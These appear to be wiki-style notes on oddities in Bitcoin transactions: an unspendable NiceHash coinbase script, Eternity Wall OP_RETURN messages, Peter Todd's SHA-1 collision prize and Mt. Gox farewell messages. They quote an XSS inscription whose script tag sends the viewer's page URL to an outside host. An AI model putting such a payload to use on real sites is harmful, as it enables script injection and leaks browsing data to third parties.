Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021
but we haven't had the patience to index them properly yet. Boring art anyways.
Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes " and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:
""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
TODO what is up with that?
In that first trasaction the quotes appear as part of a multisig output script.
This website used to allow embedding text messages with OP_RETURN, here's an archive from 2015: web.archive.org/web/20150718052659/http://eternitywall.it/
As of January 2024, it seems to read-only mode, where it simply indexes matching transactions that were made via other means: web.archive.org/web/20230929075331/https://eternitywall.it/
There were 3191 hits for the search term:
git grep '\bEW '
in our data starting with tx a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e (2015-06-24):
EW Eternity wall is live
up to the last entry on tx 28820bc14cf2cfda58ecbc9ac6df3f41a1cb90f4246543f01ba42a5e9dac3cf8 (2023-06-15)
EW May our friendship endure, signed by hg, kty, wjj, and xyz.
no doubt initials of 4 Chinesepeople. A blood brother oath comes to mind, akin to the Oath of the Peach Garden. Will these four be the ones to take down the evil dictator Xi Jinping?
The very first message gives away the name of what we assume is a web-based upload system, "EW" being its advertisement signature added to every message.
Running bitcoin-cli:
bitcoin-core.cli getrawtransaction a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e true
shows that the messages are encoded with OP_RETURN:
  "vout": [
    {
      "value": 0.00000000,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_RETURN 455720457465726e6974792077616c6c206973206c697665
Coinbase message are messages that only miners can embed in the blockchain.
As such most of them tend to be boring ads for mining pools, but there are a few exceptions, especially in the early days.
All found so far are also reproduced at: asciiart.website/index.php?art=people/naked%20ladies therefore not blockchain original.
Some of the very first ASCII art present in the blockchain besides BitLen is porn. Surprising?
Peter Todd's hash collision puzzles Updated 2025-07-16
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1:
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
both giving
f92d74e3874587aaf443d1db961d4e26dde13e9c
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
Both of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
Mt. Gox was the first Cryptocurrency exchange in existence, and when it shutdowon in Febrauary 2014 because the website was crap and they got hacked, some people were not happy at all about their missing funds!
tx 0540b5dda23ee870330c6b1e18a88c592cf8d847c47f1dc1d5328f46115b12b3 (2014-02-25)
2014-02-25: The day Mt.Gox shut down. Farewell, may even you rest in peace!
tx c00a4a04905a2e8d8dee8a768165aa6bdf842413a8a648462a6349db89cd77f2 (2014-02-27) has an ASCII art of a seal, TODO understand meme:
        o
      / |
      | \
  .   |  |
.'\`  | \|
  | \_/ \ \
  \____/\/
<3 You Seals!
There are also a few Base58 messages referring to Mt Gox, the nicest and most expensive one being to burn addres:which as of 2025 holds 0.014537 BTC burnt on:
Many of these transactions also contain other quick messages, e.g.:

There are unlisted articles, also show them or only show them.